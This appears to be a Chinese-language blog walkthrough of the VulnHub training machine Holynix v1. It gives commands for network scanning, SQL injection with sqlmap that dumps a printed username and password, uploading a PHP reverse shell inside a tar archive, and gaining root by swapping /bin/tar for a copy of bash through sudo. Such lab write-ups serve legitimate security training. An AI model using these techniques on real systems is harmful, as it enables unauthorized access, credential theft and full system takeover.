当前位置: 首页 > article >正文

vulnhub靶机:Holynix: v1

下载

下载地址:https://www.vulnhub.com/entry/holynix-v1,20/

打开虚拟机

选择下载解压之后的文件打开

新添加一张 NAT 网卡,mac 地址修改如下

00:0c:29:bc:05:de

给原来的桥接网卡,随机生成一个 mac 地址

然后重启虚拟机

信息收集

主机发现

arp-scan -l

端口扫描

nmap -p- 192.168。109.139

目录扫描

python3 dirsearch.py -u "192.168.109.172" -i 200

访问 web

进入 login 登录页面

点登录抓包,把数据包放到 1.txt 里用 sqlmap 进行测试

SQL注入

python3 sqlmap.py -r "D:\desktop\1.txt" --batch --dump

发现了用户和密码的表

账号:hreiser
密码:Ik1Ll3dNiN@r315er

登录成功

文件上传

除了第一个用户都可以上传,利用 kali 自带的反弹shell 的 php 上传

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .
vim php-reverse-shell.php
tar -czf shell.tar.gz php-reverse-shell.php

改成 kali(攻击机)的 IP 和监听端口

在 kali 的火狐浏览器上传 php 的压缩包,并勾选上自动解压(本机的火狐上传之后解压不成功)

开启监听

访问 kali 上的 url/~etenenbaum/ 页面,发现了上传的文件.

双击 php ,监听成功

sudo 提权

sudo -l 查看允许用户使用的命令

sudo -l

切换到/tmp目录下,将 /bin/bash 文件复制到 /tmp 目录下

cd /tmp
cp /bin/bash .

更改文件 /tmp/bash 的所有权,将所有者改为 root

sudo chown root:root/tmp/bash

将现有的 /bin/tar 文件备份到 bin/tar.bak 中

将 /tmp/bash 文件移动到 /bin/tar

执行 /bin/tar 命令,成功提权

sudo mv /bin/tar /bin/tar.bak
sudo mv /tmp/bash /bin/tar
sudo /bin/tar


http://www.kler.cn/a/312077.html

相关文章:

  • 在 Service Worker 中caches.put() 和 caches.add()/caches.addAll() 方法他们之间的区别
  • 【ChatGPT】 如何让ChatGPT分析数据并得出结论
  • 第74期 | GPTSecurity周报
  • 01-Ajax入门与axios使用、URL知识
  • Kafka参数了解
  • springboot项目中,使用ProGuard 对代码进行混淆
  • GO CronGin
  • 【Flask教程】 flask安装简明教程
  • Visual Studio配置opencv环境
  • Web Worker 简单使用
  • 2024永久激活版 Studio One 6 Pro for mac 音乐创作编辑软件 完美兼容
  • 基于STM32设计的路灯故障定位系统(微信小程序)(229)
  • flink自定义process,使用状态求历史总和(scala)
  • spring boot启动报错:so that it conforms to the canonical names requirements
  • 【系统架构设计师-2017年真题】案例分析-答案及详解
  • C# Socket网络通信【高并发场景】
  • 【QT】重载信号Connect链接使用方式
  • cuda中使用二维矩阵
  • SpringCloud系列之一---搭建高可用的Eureka注册中心
  • 使用密钥文件登陆Linux服务器
  • 【论文阅读】Grounding Language with Visual Affordances over Unstructured Data
  • 【vue3】vue3.3新特性真香
  • 兔子检测系统源码分享
  • AtCoder Beginner Contest 371
  • 在SpringCloud中实现服务熔断与降级,保障系统稳定性
  • vue2中字符串动态拼接字段给到接口